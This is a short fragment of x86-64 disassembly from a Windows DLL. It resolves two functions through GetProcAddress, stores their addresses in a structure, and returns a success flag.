call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbx + 0x54], rax
test rax, rax
je 0x18000a326
mov rcx, rsi
call fcn.180003b14
mov rcx, rdi
mov rdx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbx + 0x5c], rax
test rax, rax
je 0x18000a326
mov eax, 1
mov dword [rbx], eax
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret